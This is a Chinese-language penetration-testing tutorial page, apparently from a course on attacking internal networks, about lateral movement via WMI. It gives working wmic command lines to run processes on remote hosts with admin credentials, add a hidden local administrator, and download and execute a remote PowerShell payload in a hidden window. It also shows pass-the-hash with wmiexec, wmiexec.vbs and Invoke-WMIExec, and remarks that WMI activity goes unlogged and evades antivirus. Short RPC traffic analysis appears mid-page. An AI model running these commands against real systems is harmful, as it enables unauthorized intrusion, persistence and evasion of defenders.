内网渗透
01基础知识
02域环境的搭建
03工作组权限
04域内权限
05Windows本地认证
06网络认证
07Kerberos协议
08工作组的信息搜集
09域内的信息搜集
10工作组的密码抓取
11域内的密码抓取
12Dcsync原理以及攻击
13RDP密码凭证抓取
14横向移动概述
15IPC$横向移动
16PTH哈希传递
17PTK密钥传递
18PTT票据传递
19PSexec进行横向移动
20SMBexec进行横向移动
21利用WinRM服务进行横向移动
22利用WMI进行横向移动
23用户枚举与喷洒
24用户枚举与喷洒-实验
25Roasting攻击
26Kerberoasting
27黄金票据
28黄金票据-实验
29白银票据
30白银票据-实验
31委派概述
32非约束性委派攻击
33约束性委派攻击
34约束性委派攻击-实验
35基于资源的约束性委派
36基于资源的约束性委派-实验
-
+
首页
22利用WMI进行横向移动
# 概述 WMI为Windows在power shell未发布之前,微软用于管理Windows系统的数据库工具,WMI本身的架构就是一个数据库架构,WMI服务使用DCOM或者WinRM协议。 在使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中,因此很多APT组织都使用WMI进行攻击。 # 相关命令 | 命令 | 作用 | | ------------------------------------------- | ------------------------------- | | wmic nicconfig get ipaddress,macaddress | 查看系统中网卡的IP地址和MAC地址 | | wmic ntdomain list brief | 域控机器 | | wmic useraccount list brief | 用户列表 | | wmic share get name,path | 查看系统共享 | | wmic service list brief\|more | 服务列表 | | wmic start list full | 识别开机启动的程序,包括路径 | | wmic fsdir "c:\\test" call delete | 删除C盘下的test目录 | | wmic nteventlog get path,filename,writeable | 查看系统中开启的日志 | | ...... | ...... | # 其他操作命令 1、执行命令并且进行输出 ``` wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt" ``` 2、列出远程主机的进程 ``` wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process list brief ``` 3、在远程计算机中执行BAT脚本 ``` wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create c:\test.bat ``` 4、添加用户 ```\ wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3d4.. /add && net localgroup administrators test /add" ``` 5、执行powershell脚本上线 ``` wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('PS脚本地址'))\"" ``` # RPC协议 DCERPC为Windows系统中非常基础的通信协议,DCERPC比RDP协议更为普遍,默认为开启状态,内容丰富,接口众多。 DCERPC协议的默认端口为135 # RPC协议-OXIDResolve接口 流量分析 使用的wmic命令为 ``` wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c ipconfig >c:\ip.txt" ```  第一个数据包分析,该数据包表明利用了RPC协议调用的接口为OXIDResolve   第二个数据包分析,目标机器返回的数据包中包含了确认信息   第三个数据包分析,利用dcom发起OXID接口的请求数据包   第四个数据包分析,OXID接口返回的数据,包含了工作组名字、域名、IP地址、IPV6地址等等   # RPC协议-OXIDResolve接口规则 1、该接口的访问是未授权的(并没有进行认证,只要使用RPC调用OXID接口即可) 2、该接口可以得到目标机器的相关机器信息(机器名、IP地址、网卡等信息) 课外阅读:https://nosec.org/home/detail/4709.html 与 https://github.com/komomon/Dcerpc_Find_OSInfo/blob/main/Dcerpc_Find_OSInfo.py # RPC协议-NTLMSSP ntlmssp服务主要针对RPC(远程过程调用),RPC有两种通信方式可以选择。一种为传输协议(TCP/IP、UDP等),第二种为命名管道(pipeline)。 通常情况下Windows默认都会选择传输协议,而由于RPC协议采用非加密传输 ,通信双方数据无法保证安全,而ntlmssp就是为此类RPC提供安全服务。 分析第一个数据包,包含认证方式等信息   分析第二个数据包,由于该接口是远程调用接口,故需要进行认证。这里使用的是NTLM挑战响应认证,数据包为challenge值,且包含自己主机相关信息(包含了域名、机器名、DNS域名等信息)   第三个数据包分析,response值,用于认证   第四个数据包分析,认证成功之后接着远程调用isystem mactivator接口,remotecreateinstance函数作用为实际对象创建对象引用。  # WMI横向利用条件 1、wmic命令需要本地管理员或者域管理员权限(有UAC权限的用户也可以) 2、端口135、445开放(部分脚本需要借助SMB认证) # 利用WMI横向进行上线 1、利用机器自带wmic的命名(建议使用,自带的命令没有使用其它协议认证,也没有连接共享,不依赖于默认共享,并且可以过杀软) ``` wmic /node:IP地址 /user:本地用户管理员或者域管理员 /password:密码 process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add" ``` ``` wmic /node:192.168.110.8 /user:administrator /password:a1b2c3.. process call create "cmd.exe /c net user test A1b2c3.. /add && net grouplocal administrators test /add" ``` 192.168.110.7  192.168.110.8  执行powershell上线 ``` wmic /node:IP地址 /user:本地管理员或者域管理员 /password:密码 process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('ps脚本地址'))\"" ``` 2、wmiexec工具 由于该工具会走SMB认证和访问共享等行为,一般情况下杀软会进行拦截 相关命令格式: ``` wmiexec.exe <域名/>用户名:密码@目标IP地址 #希传递获得shell wmiexec.exe <域名/>用户名:密码@目标IP地址 "ipconfig" #执行ipconfig这条命令 wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址 #哈希传递获得shell wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP地址 #执行ipconfig这条命令 ```   3、wmiexec.vbs脚本通过VBS调用WMI模拟psexec的功能,可以在远程系统中执行命令并且进行回显,获得远程主机的半交互式shell。 wmiexec.vbs支持两种模式,一种是半交互式shell模式,一种是执行单条命令 ``` cscript.exe //nologo wmiexec.vbs /cmd IP地址 用户名 密码 "执行的命令" ``` 例如: ``` cscript.exe //nologo wmiexec.vbs /cmd 192.168.110.8 administrator a1b2c3.. "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('powershell脚本地址'))\"" ```  4、Invoke-WMIexec脚本 用法: ``` Import-Module .\Invoke-WMIExec.ps1 Invoke-WMIExec -Target IP地址 -Domain 域名 -Username 用户名 -Hash hash值 -Command "执行的命令" -verbose ```
毛林
2025年9月7日 11:39
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码